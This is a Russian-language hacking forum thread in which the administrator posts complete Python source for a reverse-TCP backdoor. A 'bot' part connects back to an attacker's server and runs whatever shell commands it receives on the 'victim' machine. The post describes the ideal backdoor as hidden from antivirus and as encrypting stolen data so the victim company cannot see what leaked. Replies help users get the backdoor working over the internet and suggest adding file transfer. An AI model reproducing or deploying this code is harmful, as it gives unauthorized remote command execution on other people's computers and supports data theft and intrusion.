Мануал Пишем собственный BackDoor на Python | Reverse TCP - Обратный TCP

Статус
В этой теме нельзя размещать новые ответы.

admin

Администратор
Команда форума
1 Дек 2019
858
16
840
ovnl.in
Поскольку я уже давно разрабатываю свой backdoor - flux, я хотел бы поделиться с вами самой-самой основой создания бэкдора на Python. Он будет уметь выполнять любые команды в cmd.exe или терминале жертвы. Также он является кроссплатформенным, что позволит вам управлять им из любой ОС и заражать любую ПК ОС. Программа будет работать исключительно на Python 3 и выше.

Основы и теория

Backdoor
- это программное обеспечение удаленного доступа. Так называемый "черный ход" или "задняя дверь". Самый распространенный малварь среди всех прочих. Также данный вид вируса является основным при атаке на систему, с ним вы можете закачать уже другой на компьютер жертвы, украсть данные или снести систему.

Идеальный backdoor:
  • Скрытый. Сложно найти, не палится антивирусами и брэндмауэром.
  • Безопасный. Все передаваемые данные должны быть обязательно зашифрованными, чтобы в последствии компания не смогла узнать, что утекло с их серверов.
  • Легким. Он должен производить минимум нагрузки, чтобы не светиться в tasklist и ему подобных.
  • Закрытым. То есть только вы можете использовать его, и никто другой, например по токену.
  • Многоразовый. Он должен обладать возможностью многоразового использования.

Наш бэкдор не будет обладать каким-то из этих качеств, но вы сможете доработать его самостоятельно, да, на пайтоне это все же возможно, хоть многие и не верят.

Также он будет работать по принципу обратного TCP.

Reverse TCP - это метод обмена данными между двумя серверами. К примеру у вас ПК, на нем брэндмауер, который блокирует все входящие соединения, соответственно все порты перекрыты. Еще есть сервер, который открыл порт 11719, вы делаете исходящее соединение к этому серверу(на порт 11719; брэндмауер разрешает исходящие подключения) и создается канал, по которому ваш ПК и сервер могут спокойно обмениваться данными.

Но, хочу вас обрадовать, что мой еще не выехавший flux обладает почти всеми этими качествами, он на python и скоро появится в нашей приватке.

Еще один момент, наш бэкдор будет состоять из двух частей - bot и server. Сначала мы запускаем серверную, то есть скрипт, с помощью которого мы будем управлять ботом. Потом запуск бота. Да, получается он и не многоразовый, что плохо

Серверная часть

Данный раздел код довольно большой, но хорошо укомплектован:
Python:
import socket
import os, sys
import subprocess as sp

# Your data
sniff_data = ('127.0.0.1', 11719) # В реальных условиях вы ставите ваш IP и любой совободный порт

# Data victim
connect = None
address = None

# Socket options
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

def main():
    print("Waiting connect to " + str(sniff_data[1]))
    connect()
    command_handler(input("command> "))

# Функция, ожидающая присоединения бота
def connect():
    global connect, address, sock, sniff_data

    try:
        sock.bind(sniff_data)
        sock.listen(100)
        connect, address = sock.accept()
        print("Connected to " + str(address[0]))
    except:
        raise SystemExit

# Функция отправки сообщения на сервер
def send(message):
    connect.send(message.encode())

# Функция, которая отправит сообщение боту и вернет, полученный результат если он имеется
def execute_command(command):
    try:
        send(command)

        data = connect.recv(4096)
        data_length = data[:16].decode()

        if data_length and data.decode() != "except":
            total_size = int(data_length)
            data = data[16:]

            while total_size > len(data):
                result = connect.recv(4096)
                data += result

            result = data.decode().rstrip('\n')

            return result
        else:
            return "\n[~] Runtime error!"
    except:
        pass

# Основная функция, обрабатывающая команды
def command_handler(command):
    if command == "exit": # Закрываем шелл
        send("exit")
        connect.close()
        raise SystemExit

    elif command != "":
        result = execute_command(command) # Получаем ответ на сообщение в переменной command
        print(result) # Выводим ответ

    command_handler(input("command> ")) # Снова спрашиваем команду

main()

В коде все прокомментированно, думаю, вопросов не возникнет. Наш бэкдор будет просто исполнять команды в терминале компьютера жертвы, если команда exit, то бэкдор закрывается и бот отключается.

Скрипт бота

Сама часть бота, запускать её нужно после серверной.
Python:
import socket
import sys, os, io
import ctypes
import time
import subprocess as sp

server = ('127.0.0.1', 11719) # IP и порт тот же, что и в серверной части
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Функция будет выполнять команду в терминале/cmd.exe и возращать результат
def run_command(command):
    encoding = os.device_encoding(1) or ctypes.windll.kernel32.GetOEMCP()
    out = sp.Popen(command, stdout=sp.PIPE, shell=True)
    result = io.TextIOWrapper(out.stdout, encoding='cp866')

    return result.read()

# Function connect to server
def connect():
    try:
        sock.connect(server)
        return True
    except:
        return False

# Connecting to server
def while_connect():
    connecting = True

    while connecting:
        if connect():
            connecting = False
        else:
            time.sleep(5) # Подключение раз в 5 секунд, ахиренная оптимизация, отвечаю

while_connect() # Коннект к серверу

# Data exchange
while True:
    try:
        command = sock.recv(4096).decode() # Получаем сообщение, которое отправил сервер

        if command == "exit":
            break

        else:
            result = run_command(command) # Выполняем команду
            length = str(len(result)).zfill(16)
            sock.send((length + result).encode()) # Отправка результат
    except:
        try:
            sock.send("\nexcept")
        except:
            pass

sock.close()

Тоже все прокомментировано, если есть вопросы пишите в тему, отвечу и помогу.

Демонстрация

Теперь продемонстрирую работу бэкдора на примере Windows 10 в локальной сети.

Мы запустили серверную часть и скрипт начал ожидать подключения со стороны бота:




После того, как мы запустили скрипт бота, консоль на сервере сообщила о подключении и вывела нам строку, для ввода команды:




Давайте введем пару команд, чтобы убедиться в работоспособности бкэдора:



Все это работает не только в локалке, но и на реальных условиях!
Скачать можно сразу с GitHub - https://github.com/securityhigh/backdoor

Возможные ошибки

Пока я запускал бэкдор и тестировал на Debian сервере я столкнулся с ошибкой:
Код:
SyntaxError: Non-ASCII character '\xd0' in file server.py on line 6, but no encoding declared;

Она возникает, если на вашей машине нет поддержки кириллицы. Решение очень простое, просто сотрите все русские комментарии в коде.
Если будут еще исключения пишите ниже, я помогу и исправлю.

Вывод

Подведем итоги. Бэкдор нуждается в глубокой доработке, прежде, чем использовать его на реальных атаках. Это лишь основа, как было сказано в начале статьи, окончательный бэкдор будет опубликован в приватке форума, и он будет отвечать максимум условиям идеального бэкдора.

Спасибо за прочтение статьи!
 
Последнее редактирование:

Xakker

Creaker
6 Дек 2019
76
1
35
ВАУ, тестировал на своей локалке со смартфоном и пк, и да, все топчег
 

farankinstain

Beginner
11 Янв 2021
3
1
я столкнулся с проблемой ,что я не могу запустить бэкдор в реальных условиях(не по локалке). Уже кучу времени пытаюсь понять как это сделать.Помогите пожалуйста
 

admin

Администратор
Команда форума
1 Дек 2019
858
16
840
ovnl.in
я столкнулся с проблемой ,что я не могу запустить бэкдор в реальных условиях(не по локалке). Уже кучу времени пытаюсь понять как это сделать.Помогите пожалуйста
Для начала открыть соответствующий порт на атакующей машине, которая будет принимать TCP коннект.
Затем прописать соответствующие IP:PORT на клиенте и сервере.
 

farankinstain

Beginner
11 Янв 2021
3
1
Для начала открыть соответствующий порт на атакующей машине, которая будет принимать TCP коннект.
Затем прописать соответствующие IP:PORT на клиенте и сервере.
порты открыты. Так же в коде все стоит верно. Но при запуске клиента сервер вылетает. И вопрос , Ip внешний ставить надо , верно?
 

admin

Администратор
Команда форума
1 Дек 2019
858
16
840
ovnl.in
порты открыты. Так же в коде все стоит верно. Но при запуске клиента сервер вылетает. И вопрос , Ip внешний ставить надо , верно?
Да, внешний попробуй. Хотя можно и 0.0.0.0 попробовать, чтобы прослушивать все интерфейсы.
 

farankinstain

Beginner
11 Янв 2021
3
1
Да, внешний попробуй. Хотя можно и 0.0.0.0 попробовать, чтобы прослушивать все интерфейсы.
на самом деле сработало.Спасибо огромное!!!!
Для тех кто столкнулся с подобной проблемой , мне помогло установка в ip 0.0.0.0
 
  • Симпатия
Реакции: admin

Nirix

Member
28 Июн 2021
8
1
* хлопает автору скрипта * все работает выражаю благодарность автору
 
V

vrodekaknemember

Гость
Как реализовано закрытие бэкдора через if command == "break", можно реализовать загрузку и выгрузку файлов, открытие ссылки на сайт и т. д. Просто даю идею
 
Статус
В этой теме нельзя размещать новые ответы.